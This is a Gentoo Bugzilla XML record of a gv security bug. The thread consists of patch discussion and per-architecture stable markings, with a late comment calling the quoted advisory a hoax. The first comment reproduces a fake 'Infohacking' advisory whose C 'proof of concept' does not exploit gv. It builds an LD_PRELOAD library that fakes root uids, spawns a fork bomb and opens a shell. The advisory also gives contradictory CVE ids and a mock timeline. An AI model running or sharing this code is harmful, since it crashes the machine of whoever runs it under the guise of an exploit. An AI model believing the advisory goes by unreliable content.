<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE bugzilla SYSTEM "http://bugs.gentoo.org/bugzilla.dtd">

<bugzilla version="2.22.7"
          urlbase="http://bugs.gentoo.org/"
          maintainer="bugzilla@gentoo.org"
>

    <bug>
          <bug_id>59385</bug_id>
          
          <creation_ts>2004-08-04 05:16 0000</creation_ts>
          <short_desc>app-text/gv: Exploitable Buffer Overflow (CAN-2002-0838)</short_desc>
          <delta_ts>2004-08-13 02:07:30 0000</delta_ts>
          <reporter_accessible>1</reporter_accessible>
          <cclist_accessible>1</cclist_accessible>
          <classification_id>1</classification_id>
          <classification>Unclassified</classification>
          <product>Gentoo Linux</product>
          <component>Security</component>
          <version>unspecified</version>
          <rep_platform>All</rep_platform>
          <op_sys>All</op_sys>
          <bug_status>RESOLVED</bug_status>
          <resolution>FIXED</resolution>
          <bug_file_loc>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0838</bug_file_loc>
          <status_whiteboard>B2 [glsa]</status_whiteboard>
          
          <priority>P2</priority>
          <bug_severity>normal</bug_severity>
          <target_milestone>---</target_milestone>
          
          
          
          <everconfirmed>1</everconfirmed>
          <reporter>chriswhite@gentoo.org</reporter>
          <assigned_to>security@gentoo.org</assigned_to>
          <cc>lanius@gentoo.org</cc>

      

      
          <long_desc isprivate="0">
            <who>chriswhite@gentoo.org</who>
            <bug_when>2004-08-04 05:16:35 0000</bug_when>
            <thetext>Woo, this looks fun.  RedHat&apos;s vulnerable, so the question is are we?
Privlege escalation with with a specially crafted pdf file.  Info is here:

Exploitable Buffer Overflow in gv


Infohacking Security Advisory 08.04.04
www.infohacking.com
Aug 04, 2004


I. BACKGROUND

Infohacking team (me and myself) discovered a new and unreported local
root vulnerability in gv.



II. DESCRIPTION

The gv program that is shipped on many Unix systems contains a buffer
overflow which can be exploited by an attacker sending a malformed
postscript or Adobe pdf file. The attacker would be able to cause
arbitrary code to run with the privileges of the victim on his Linux
computer. The gv program is a PDF and postscript viewing program for
Unix which interfaces with the ghostscript interpreter. It is
maintained at http://www.thep.physik.uni-mainz.de/~plass/gv/ by
Johannes Plass.  This particular security vulnerability occurs in the
source code where an unsafe sscanf() call is used to interpret
PostScript and PDF files.



III. ANALYSIS

In order to perform exploitation, an attacker would have to trick a
user into viewing a malformed PDF or PostScript file from the command
line. This may be somewhat easier for Unix based email programs that
associate gv with email attachments. Since gv is not normally
installed setuid root, an attacker would only be able to cause
arbitrary code to run with the privileges of that user.  Other
programs that utilize derivatives of gv, such as ggv or kghostview,
may also be vulnerable in similiar ways.

A proof of concept exploit for Red Hat Linux designed by Hugo is
attached to this message.  It packages the overflow and shellcode in
the &quot;%%PageOrder:&quot; section of the PDF.


/* !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE
 *
 * INFOHACKING RESEARCH - L337 h4x0r t34M
 *
 * hugo &lt;hugo@infohacking.com&gt;
*/

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;

char hellc0de[] =       &quot;\x69\x6e\x74\x20\x67\x65\x74\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65&quot;
                        &quot;\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74&quot;
                        &quot;\x65\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30&quot;
                        &quot;\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74\x67\x69\x64\x28\x29\x20&quot;
                        &quot;\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74&quot;
                        &quot;\x20\x67\x65\x74\x65\x67\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75&quot;
                        &quot;\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x0/bin/sh&quot;;

int main()
{
        FILE *fp;
	char *offset;
        fp=fopen(&quot;/tmp/own.c&quot;,&quot;w&quot;);
        fprintf(fp,&quot;%s&quot;,hellc0de);
        fclose(fp);

        system(&quot;gcc -shared -o /tmp/own.so /tmp/own.c;rm -f /tmp/own.c&quot;);
        if (fork() == 0) {
	sleep(10); while (1) { fork(); offset=malloc(512); }
                exit(0);
        }
        system(&quot;LD_PRELOAD=/tmp/own.so /bin/sh&quot;);
        return 0;
}
/* -EOF- */


IV. DETECTION


This vulnerability affects the latest version of gv,. An
exploit has been tested on Red Hat Linux 9 and fedora core 1



V. WORKAROUNDS


To avoid potential exploitation, users can select alternatives to gv
such as Kghostview (included with the KDE desktop environment) for
instance. Additionally, the vulnerability does not seem to be
exploitable when a file is opened from the gv interface instead of
the command line.



VI. CVE INFORMATION


The Common Vulnerabilities and Exposures project (cve.mitre.org) has
assigned the name CAN-2001-0832 to this issue.


VII. DISCLOSURE TIMELINE


03/18/04 Hugo notified the bug to abuse@255.255.255.255
04/11/04 Initial vendor notification - no response
04/30/04 Secondary vendor notification - no response
05/20/04 We hack iberia.com (Hey look at me! im a hax0r and i want a
job)
08/04/04 Public Disclosure


VIII. CREDIT

Hugo Vazquez Carapez http://www.infohacking.com/dirhugo.gif


Get pwned by script kiddies?
Call us, we can hack you again.


IX. LEGAL NOTICES


Copyright (c) 2004 INFOHACKING, Inc.


Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of INFOHACKING. If you wish to reprint the whole or any

part of this alert in any other medium other than electronically, please

email info@infohacking.com for permission.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>chriswhite@gentoo.org</who>
            <bug_when>2004-08-04 11:28:13 0000</bug_when>
            <thetext>Finally found the patch for the gv exploits:

http://freshmeat.net/articles/view/587/

no specific maintainer though, just the printing herd.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>koon@gentoo.org</who>
            <bug_when>2004-08-04 11:49:45 0000</bug_when>
            <thetext>gv-3.5.8-r4 uses the latest gv Debian patch, so I suppose this is fixed in that version.

lanius : could you check the version the above fix is in ? Is it just 3.5.8-r4 or did it appear before ?</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>lanius@gentoo.org</who>
            <bug_when>2004-08-04 13:52:51 0000</bug_when>
            <thetext>it&apos;s only fixed in -r4, marked stable on x86

other arches please test</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>gustavoz@gentoo.org</who>
            <bug_when>2004-08-04 14:21:30 0000</bug_when>
            <thetext>Stable on sparc.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>slarti@gentoo.org</who>
            <bug_when>2004-08-05 11:48:03 0000</bug_when>
            <thetext>Stable on amd64.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>kloeri@gentoo.org</who>
            <bug_when>2004-08-06 04:25:36 0000</bug_when>
            <thetext>Stable on alpha.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>jaervosz@gentoo.org</who>
            <bug_when>2004-08-11 22:19:58 0000</bug_when>
            <thetext>lu_zero thx for the ppc stable marking</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>jaervosz@gentoo.org</who>
            <bug_when>2004-08-12 04:41:23 0000</bug_when>
            <thetext>GLSA 200408-10</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>jaervosz@gentoo.org</who>
            <bug_when>2004-08-12 10:21:34 0000</bug_when>
            <thetext>NOTE: The Infohacking Advisory quoted here appears to be a hoax.

However the bug we actually fixed is indeed the two year old iDEFENSE
vulnerability (CAN-2002-0838). Apparently that vulnerability was unpatched until this (hoax) alert brought it to our attention.

We applied the Debian patch for this vulnerability as our fix, so we are
now, a couple years behind, fully patched.

So, yes, we did fix a vulnerability, and yes, it was the old iDEFENSE vulnerability.</thetext>
          </long_desc>
      
    </bug>

</bugzilla>